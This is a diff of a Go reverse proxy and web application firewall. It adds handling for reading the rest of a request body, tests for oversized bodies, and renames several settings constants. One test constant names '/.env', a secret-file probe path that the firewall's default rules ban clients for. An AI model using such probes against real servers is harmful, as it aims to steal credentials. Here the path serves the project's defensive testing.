|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(2*questionBodyMaxBytes)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes))
|
||||||
|
|
||||||
|
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||||
|
text, err := io.ReadAll(conn)
|
||||||
|
if err != nil || len(text) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"read %q (%v), want the connection closed without an answer",
|
||||||
|
text,
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, allow)
|
||||||
|
// The flush has the app's server send greeting in chunks instead of adding a
|
||||||
|
// Content-Length.
|
||||||
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
rc := http.NewResponseController(w)
|
||||||
|
_ = rc.EnableFullDuplex()
|
||||||
|
|
||||||
|
_, _ = io.WriteString(w, greeting)
|
||||||
|
_ = rc.Flush()
|
||||||
|
})
|
||||||
|
// The request time limit is far longer than dial's deadline.
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
|
maxRequestTime: "120000",
|
||||||
|
})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(2*questionBodyMaxBytes)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||||
|
|
||||||
|
wantGreeting(t, readAnswer(t, conn))
|
||||||
|
}
|
||||||
|
|
||||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -148,7 +283,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
|||||||
mayReachApp bool
|
mayReachApp bool
|
||||||
}{
|
}{
|
||||||
{"within the first part", "1K", 2 << 10, false},
|
{"within the first part", "1K", 2 << 10, false},
|
||||||
{"past the first part", "128K", 129 << 10, true},
|
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|||||||
@@ -38,6 +38,10 @@ const plainText = "text/plain; charset=utf-8"
|
|||||||
// and the visitor then gets a closed connection and no answer.
|
// and the visitor then gets a closed connection and no answer.
|
||||||
const minSendTime = 10 * time.Second
|
const minSendTime = 10 * time.Second
|
||||||
|
|
||||||
|
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
||||||
|
// reads once the handler returns, for a visitor without Connection: close.
|
||||||
|
const maxBodyReadAfterAnswer = 256 << 10
|
||||||
|
|
||||||
// errResponseTooLate refuses an app's answer that arrives once
|
// errResponseTooLate refuses an app's answer that arrives once
|
||||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||||
var errResponseTooLate = errors.New(
|
var errResponseTooLate = errors.New(
|
||||||
@@ -339,8 +343,8 @@ func (rq *request) answer(status int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A visitor found too slow is read no more; any other may go on sending until
|
// A visitor found too slow is read no more; any other may go on sending until
|
||||||
// its time is up, so that Go's server can read the rest of the body and end
|
// its time is up, so that the rest of the body is read and the request ends
|
||||||
// the request cleanly.
|
// cleanly: by Go's server, or by readRestOfBody.
|
||||||
deadline := rq.requestDeadline()
|
deadline := rq.requestDeadline()
|
||||||
if status == http.StatusRequestTimeout {
|
if status == http.StatusRequestTimeout {
|
||||||
deadline = time.Now()
|
deadline = time.Now()
|
||||||
@@ -524,10 +528,35 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
|||||||
_ = rq.rc.SetReadDeadline(deadline)
|
_ = rq.rc.SetReadDeadline(deadline)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
||||||
|
// has been answered with a Content-Length, until the read deadline already set on
|
||||||
|
// the connection. It does this only for a body with a declared length from a
|
||||||
|
// visitor that sent Connection: close, because Go's server reads none of that
|
||||||
|
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
||||||
|
// read the answer. Go's server ends an answer without a Content-Length only once
|
||||||
|
// the handler returns, so reading first would hold back the end of that answer.
|
||||||
|
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
||||||
|
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
||||||
|
// the connection.
|
||||||
|
func (rq *request) readRestOfBody() {
|
||||||
|
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
||||||
|
rq.out.Header().Get("Content-Length") == "" ||
|
||||||
|
rq.out.status == http.StatusSwitchingProtocols {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rest := http.MaxBytesReader(
|
||||||
|
rq.out.ResponseWriter,
|
||||||
|
rq.in.Body,
|
||||||
|
maxBodyReadAfterAnswer,
|
||||||
|
)
|
||||||
|
_, _ = io.Copy(io.Discard, rest)
|
||||||
|
}
|
||||||
|
|
||||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||||
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
||||||
// server reads it once the handler returns, but with no deadline at all if
|
// deadline. Go's server reads it once the handler returns, but with no deadline
|
||||||
// another read of it is still waiting.
|
// at all if another read of it is still waiting.
|
||||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||||
if rq.body == nil || rq.body.received.Load() {
|
if rq.body == nil || rq.body.received.Load() {
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -110,8 +110,7 @@ func New(params Params) *Server {
|
|||||||
|
|
||||||
// WaitForReports returns once the reports being sent have gone or failed,
|
// WaitForReports returns once the reports being sent have gone or failed,
|
||||||
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
||||||
// is dropped: that of
|
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
|
||||||
// a WebSocket that closes while rproxy stops, for one.
|
|
||||||
func (s *Server) WaitForReports() {
|
func (s *Server) WaitForReports() {
|
||||||
s.h.reportsMu.Lock()
|
s.h.reportsMu.Lock()
|
||||||
s.h.reportsStopped = true
|
s.h.reportsStopped = true
|
||||||
@@ -171,6 +170,7 @@ func newWAFTransport() *http.Transport {
|
|||||||
// it writes the request's log line and sends its report.
|
// it writes the request's log line and sends its report.
|
||||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||||
rq := h.newRequest(w, r)
|
rq := h.newRequest(w, r)
|
||||||
|
defer rq.readRestOfBody()
|
||||||
defer rq.finish(r.Context())
|
defer rq.finish(r.Context())
|
||||||
|
|
||||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||||
|
|||||||
@@ -44,13 +44,13 @@ const (
|
|||||||
|
|
||||||
// The settings the tests set.
|
// The settings the tests set.
|
||||||
const (
|
const (
|
||||||
timeoutSetting = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The headers the tests set and look at.
|
// The headers the tests set and look at.
|
||||||
@@ -1111,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
_, _ = w.Write(make([]byte, size))
|
_, _ = w.Write(make([]byte, size))
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
@@ -1216,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
noAnswerSetting: setting,
|
noAnswerSetting: setting,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1245,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||||
@@ -1271,7 +1271,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "200",
|
wafBackendTimeout: "200",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1298,8 +1298,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
|||||||
backend(t),
|
backend(t),
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "200",
|
wafBackendTimeout: "200",
|
||||||
noAnswerSetting: dispositionDeny,
|
noAnswerSetting: dispositionDeny,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1341,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
|||||||
standIn.URL,
|
standIn.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
noAnswerSetting: disposition,
|
noAnswerSetting: disposition,
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -1387,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
|
|||||||
})
|
})
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
timeoutSetting: "200",
|
wafBackendTimeout: "200",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
@@ -1451,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
|
|||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Cleanup(func() { close(release) })
|
t.Cleanup(func() { close(release) })
|
||||||
@@ -1494,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
|
|||||||
// The time limit is long enough for a loaded host to answer the question before
|
// The time limit is long enough for a loaded host to answer the question before
|
||||||
// it runs out.
|
// it runs out.
|
||||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
timeoutSetting: "3000",
|
wafBackendTimeout: "3000",
|
||||||
})
|
})
|
||||||
|
|
||||||
t.Cleanup(func() { close(release) })
|
t.Cleanup(func() { close(release) })
|
||||||
@@ -1524,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
|
|||||||
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
backend := startWAFAnsweringReports(t, allow, switchAndHold)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
addr, out := startRProxy(t, backend, app.URL, map[string]string{
|
||||||
timeoutSetting: "60000",
|
wafBackendTimeout: "60000",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
@@ -1612,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
backend.URL,
|
backend.URL,
|
||||||
app.URL,
|
app.URL,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
timeoutSetting: "5000",
|
wafBackendTimeout: "5000",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -16,10 +16,10 @@ import (
|
|||||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||||
// requests until ctx is done. Then it gives the requests in progress
|
// requests until ctx is done. Then it gives the requests in progress
|
||||||
// shutdownTimeout to finish, and the reports being sent
|
// shutdownTimeout to finish, and the reports being sent
|
||||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It
|
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
|
||||||
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
// when rproxy cannot start. Its process messages name the host's name as
|
||||||
// messages name the host's name as instance, and it writes those at info or
|
// instance, and it writes those at info or more severe: rproxy has no
|
||||||
// more severe: rproxy has no setting for either.
|
// setting for either.
|
||||||
func RunRProxy(ctx context.Context, params Params) int {
|
func RunRProxy(ctx context.Context, params Params) int {
|
||||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||||
processLog := requestlog.NewProcessLogger(
|
processLog := requestlog.NewProcessLogger(
|
||||||
|
|||||||
@@ -31,8 +31,8 @@ const (
|
|||||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
||||||
// rproxyUpstreamURL is the setting that says where the app is.
|
// rproxyUpstreamURL is the setting that says where the app is.
|
||||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
||||||
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
||||||
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||||
// bannedProbe is a path the default rule file bans a client for.
|
// bannedProbe is a path the default rule file bans a client for.
|
||||||
bannedProbe = "/.env"
|
bannedProbe = "/.env"
|
||||||
// otherClient is a client the tests do not ban.
|
// otherClient is a client the tests do not ban.
|
||||||
@@ -692,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
rproxyListenAddr: localhost + ":0",
|
rproxyListenAddr: localhost + ":0",
|
||||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
||||||
rproxyTimeout: "60000",
|
wafBackendTimeout: "60000",
|
||||||
wafBackend: backend.URL,
|
wafBackend: backend.URL,
|
||||||
}
|
}
|
||||||
out := &output{}
|
out := &output{}
|
||||||
@@ -856,8 +856,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
|||||||
}{
|
}{
|
||||||
{"no backend", wafBackend, nil},
|
{"no backend", wafBackend, nil},
|
||||||
{
|
{
|
||||||
"another invalid", rproxyTimeout,
|
"another invalid", wafBackendTimeout,
|
||||||
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
|||||||
+5
-5
@@ -340,11 +340,11 @@ func newAlertQueue(
|
|||||||
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
|
||||||
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
|
||||||
return remotelog.New(remotelog.Params{
|
return remotelog.New(remotelog.Params{
|
||||||
URL: cfg.LogRemoteURL,
|
URL: cfg.LogRemoteURL,
|
||||||
RootCAs: cfg.LogRemoteTLSCAs,
|
RootCAs: cfg.LogRemoteTLSCAs,
|
||||||
Buffer: cfg.LogRemoteBufferLines,
|
BufferLines: cfg.LogRemoteBufferLines,
|
||||||
Facility: cfg.LogRemoteFacility,
|
Facility: cfg.LogRemoteFacility,
|
||||||
AppName: cfg.LogRemoteAppName,
|
AppName: cfg.LogRemoteAppName,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
|
|||||||
Scheme: remotelog.SchemeTCP,
|
Scheme: remotelog.SchemeTCP,
|
||||||
Host: "127.0.0.1:65536",
|
Host: "127.0.0.1:65536",
|
||||||
},
|
},
|
||||||
Buffer: 1,
|
BufferLines: 1,
|
||||||
})
|
})
|
||||||
|
|
||||||
stopSending := startSending(t.Context(), sender,
|
stopSending := startSending(t.Context(), sender,
|
||||||
|
|||||||
@@ -34,8 +34,8 @@ const (
|
|||||||
answerTimeLimit = 2 * time.Second
|
answerTimeLimit = 2 * time.Second
|
||||||
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
|
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
|
||||||
defaultLookupWait = 800 * time.Millisecond
|
defaultLookupWait = 800 * time.Millisecond
|
||||||
// defaultReputationWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
||||||
defaultReputationWait = 2 * time.Second
|
defaultDNSBLAbuseIPDBWait = 2 * time.Second
|
||||||
// The header limits SPEC.md gives.
|
// The header limits SPEC.md gives.
|
||||||
cookieLimit = 50
|
cookieLimit = 50
|
||||||
headerFieldLimit = 100
|
headerFieldLimit = 100
|
||||||
@@ -656,8 +656,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
// In a synctest bubble, as
|
||||||
// says, so that a request that does not wait takes no time at all.
|
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||||
|
// so that a request that does not wait takes no time at all.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out := newWAFInBubble(t, tc.env)
|
server, out := newWAFInBubble(t, tc.env)
|
||||||
tc.prepare(t, server, time.Now())
|
tc.prepare(t, server, time.Now())
|
||||||
@@ -780,7 +781,8 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
// network inside it would keep its clock from moving on.
|
// network inside it would keep its clock from moving on.
|
||||||
go server.Lists.Run(t.Context())
|
go server.Lists.Run(t.Context())
|
||||||
|
|
||||||
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
// In the bubble, as
|
||||||
|
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
|
||||||
// answer takes exactly as long as waf waits, however busy the host is.
|
// answer takes exactly as long as waf waits, however busy the host is.
|
||||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
||||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
||||||
@@ -842,7 +844,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
// The query is answered, and the check with AbuseIPDB abandoned,
|
// The query is answered, and the check with AbuseIPDB abandoned,
|
||||||
// before the bubble ends.
|
// before the bubble ends.
|
||||||
releaseResolver()
|
releaseResolver()
|
||||||
time.Sleep(defaultReputationWait)
|
time.Sleep(defaultDNSBLAbuseIPDBWait)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -20,8 +20,8 @@ type percentage struct {
|
|||||||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
|
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
|
||||||
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
|
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
|
||||||
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
|
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
|
||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
|
||||||
// then needed before its request goes on.
|
// before its request goes on.
|
||||||
func biasedThresholdsSet(cfg *config.WAF) bool {
|
func biasedThresholdsSet(cfg *config.WAF) bool {
|
||||||
return len(cfg.ASNBytesLimitPercent) > 0 ||
|
return len(cfg.ASNBytesLimitPercent) > 0 ||
|
||||||
len(cfg.CountryBytesLimitPercent) > 0 ||
|
len(cfg.CountryBytesLimitPercent) > 0 ||
|
||||||
@@ -70,10 +70,10 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
reputationListed := percentage{percent: whole}
|
dnsblAbuseIPDBListed := percentage{percent: whole}
|
||||||
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
||||||
cfg.DNSBLAbuseIPDBAction == "limit" {
|
cfg.DNSBLAbuseIPDBAction == "limit" {
|
||||||
reputationListed = percentage{
|
dnsblAbuseIPDBListed = percentage{
|
||||||
cfg.DNSBLAbuseIPDBLimitPercent,
|
cfg.DNSBLAbuseIPDBLimitPercent,
|
||||||
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
|
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
|
||||||
}
|
}
|
||||||
@@ -120,7 +120,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// The limits that lower requests and bytes alike.
|
// The limits that lower requests and bytes alike.
|
||||||
common := lowest(otherTags, unknown, blocklisted, reputationListed)
|
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
|
||||||
|
|
||||||
return lowest(asnRequests, countryRequests, common),
|
return lowest(asnRequests, countryRequests, common),
|
||||||
lowest(asnBytes, countryBytes, common)
|
lowest(asnBytes, countryBytes, common)
|
||||||
|
|||||||
@@ -335,8 +335,9 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
|
|||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
// In a synctest bubble, as
|
||||||
// says, with a GeoJS that never answers.
|
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
|
||||||
|
// a GeoJS that never answers.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{unknownCountryLimitPercent: "0"})
|
map[string]string{unknownCountryLimitPercent: "0"})
|
||||||
@@ -384,8 +385,9 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
|||||||
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
// In a synctest bubble, as
|
||||||
// says, with a GeoJS that never answers.
|
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||||
|
// with a GeoJS that never answers.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
|
|||||||
@@ -438,7 +438,9 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
|
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The test runs in a synctest bubble, where the time package runs on a
|
// The test runs in a synctest bubble, where the time package runs on a
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ import (
|
|||||||
// in observe mode if enforce mode would have: more than
|
// in observe mode if enforce mode would have: more than
|
||||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
|
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
|
||||||
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
||||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
// heuristics skip, is not counted, and nothing is while the limit is off.
|
||||||
// Its figures are the window, the count and the limit.
|
// Its figures are the window, the count and the limit.
|
||||||
type refusalLimit struct{}
|
type refusalLimit struct{}
|
||||||
|
|
||||||
|
|||||||
@@ -49,14 +49,14 @@ func (r refused) send(s *sender, from string) logLine {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// startForRefusalLimit is startWithClock with testRules, the metrics token and
|
// startForRefusalLimit is startWithClock with testRules, the metrics token and
|
||||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env.
|
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
|
||||||
func startForRefusalLimit(
|
func startForRefusalLimit(
|
||||||
t *testing.T, threshold string, env map[string]string,
|
t *testing.T, limit string, env map[string]string,
|
||||||
) (*sender, *clock, *waf.Server) {
|
) (*sender, *clock, *waf.Server) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
refusalsLimitPerMinute: threshold,
|
refusalsLimitPerMinute: limit,
|
||||||
ruleFilesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
}
|
}
|
||||||
